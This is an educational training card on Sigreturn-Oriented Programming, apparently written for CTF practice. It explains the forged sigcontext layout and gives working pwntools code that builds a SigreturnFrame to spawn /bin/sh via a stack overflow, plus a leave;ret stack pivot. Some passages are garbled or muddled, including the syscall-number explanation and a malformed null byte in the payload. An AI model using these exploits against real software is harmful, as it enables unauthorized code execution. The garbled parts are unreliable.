Sigreturn-Oriented Programming: Signal Frame Hijacking for Full CPU Register Control with Minimal Gadgets
Theory
Why This Matters
Sigreturn-Oriented Programming (SROP) is a powerful exploit technique that uses the kernel's signal return mechanism to set every CPU register to arbitrary values in a single gadget. Introduced in academic research (Bosman & Bos, 2014) and immediately adopted in CTF and real-world exploits, SROP is particularly valuable when the available gadget set is tiny — sometimes just syscall; ret and a way to control RAX. NICE K0168 (exploit code knowledge), K0169 (reverse engineering), and S0131 (develop exploits) all require understanding of how the kernel's signal delivery and return mechanism can be abused to achieve arbitrary register control without a full ROP chain.
Core Concept
When the Linux kernel delivers a signal to a process, it saves the entire CPU state (all registers, flags, segment registers) onto the user-mode stack as a sigcontext structure, then jumps to the signal handler. When the signal handler returns, it invokes the sigreturn syscall (SYS_rt_sigreturn = 15 on x86_64), which tells the kernel to restore all registers from the sigcontext on the stack. The kernel does not validate that the sigcontext was actually placed there by a legitimate signal delivery — it simply reads the registers from wherever RSP points.
An attacker who:
1. Controls RSP (can point it at a controlled buffer)
2. Can execute a syscall instruction with RAX = 15 (SYS_rt_sigreturn)
...can forge the entire sigcontext struct and have the kernel restore arbitrary values into every register, including RIP and RSP. This provides arbitrary code execution in a single syscall.
sigcontext layout (x86_64, from <sys/ucontext.h>):
Offset Field
0x00 uc_flags
0x08 uc_link
0x10 uc_stack (ss_sp, ss_flags, ss_size)
0x28 uc_mcontext (gregs[])
0x28 R8
0x30 R9
0x38 R10
0x40 R11
0x48 R12
0x50 R13
0x58 R14
0x60 R15
0x68 RDI
0x70 RSI
0x78 RBP
0x80 RBX
0x88 RDX
0x90 RAX
0x98 RCX
0xa0 RSP
0xa8 RIP <- set to target address
0xb0 EFL (RFLAGS)
0xb8 CSGSFS
...
Technical Deep-Dive
Minimal SROP gadget requirement:
- syscall; ret gadget (to execute rt_sigreturn)
- A way to set RAX = 15 (e.g., mov eax, 15; ret or via the return value of a previous syscall like read that returns 15)
- Control over RSP (stack pivot or direct stack control)
pwntools makes SROP frame construction trivial:
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
elf = ELF('./srop_challenge')
p = process('./srop_challenge')
# Assume:
# - Binary has a "syscall; ret" gadget at known address
# - Binary reads input into a stack buffer (overflow to control RIP/RSP)
# - No other useful gadgets for a full ROP chain
syscall_ret = 0x401234 # address of "syscall; ret" gadget
rw_section = 0x404000 # writable BSS area for /bin/sh string
# Build SROP frame to call execve("/bin/sh", NULL, NULL)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve # 59
frame.rdi = rw_section # pointer to "/bin/sh"
frame.rsi = 0 # argv = NULL
frame.rdx = 0 # envp = NULL
frame.rip = syscall_ret # after sigreturn: execute "syscall; ret" -> execve
frame.rsp = rw_section + 0x100 # new stack after sigreturn
# Step 1: write "/bin/sh" to BSS via read() syscall (if read is available)
# Many SROP challenges provide a read primitive
# Step 2: set RAX = 15 for rt_sigreturn
# If we control the return value of read(): read(fd, buf, 15) returns 15 = RAX
# Then: execute "syscall; ret" -> rt_sigreturn with our frame on the stack
padding = b'A' * 72 # offset to saved RIP (find with cyclic)
payload = padding
payload += p64(syscall_ret) # RIP -> syscall; ret (executes rt_sigreturn if RAX=15)
payload += bytes(frame) # sigcontext frame on stack after ret
# RAX must be 15: arrange read() to return 15 before this
p.send(b'x00' * 15) # 15-byte read sets RAX=15
p.send(payload)
p.interactive()
Stack pivot for SROP: when the overflow does not provide enough space on the current stack for the full frame (248 bytes on x86_64), pivot RSP to a writable region first:
# Use "leave; ret" as pivot: mov rsp, rbp; pop rbp; ret
# Place frame at a known address, set rbp to point there, execute leave;ret
pivot_gadget = 0x401300 # leave; ret
frame_addr = 0x404100 # where frame is written via read() earlier
# Overflow: set rbp to frame_addr - 8, rip to pivot_gadget
payload = b'A' * 64 # fill buffer
payload += p64(frame_addr - 8) # saved RBP -> pivot target
payload += p64(pivot_gadget) # saved RIP -> leave;ret
payload += bytes(frame)
p.sendline(payload)
Reverse Engineering Methodology
- Check for
syscall; retgadgets:ROPgadget --binary ./challenge --rop | grep "syscall". This is the minimal requirement for SROP. - Identify how to set RAX = 15. If
read(fd, buf, 15)is callable and returns 15, that sets RAX automatically. Alternatively, look formov eax, 15; retorpop rax; retwith a controlled stack. - Find a writable region for the frame and any strings:
readelf -S ./challenge | grep -E "bss|data". The frame is 248 bytes; ensure sufficient space. - Use pwntools
SigreturnFrame()which handles the full struct layout automatically. Verify by printingbytes(frame)in hex and comparing against the kernel struct offsets manually.
Common Reversing Errors
- Forgetting that
rt_sigreturnnumber is 15 on x86_64, not 119:sigreturn(15) is the single-argument version for 32-bit;rt_sigreturn(15) is the same number on x86_64. On i386,rt_sigreturnis 173. Always use the correct architecture's syscall table. - Frame not aligned to the stack: the
sigcontextmust be at the RSP value whenrt_sigreturnexecutes. If the frame is at an address that is not 16-byte aligned, some register restore operations will fault. Ensurerspin the overflow payload is 16-byte aligned before the frame bytes. - Overwriting frame with subsequent writes: if the challenge reads multiple rounds of input to the same buffer, a second read may overwrite the frame before
sigreturnexecutes it. Send the frame in one operation or ensure no second write occurs. - RIP in frame points to wrong gadget: after
rt_sigreturnrestores registers, execution continues atframe.rip. If this is set to asyscall; retgadget andframe.rax = 59, the next execution performsexecve. But ifframe.rippoints to an invalid address, you get a segfault with all registers correctly set — a visible sign the frame was applied. Use this to debug frame offsets.
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.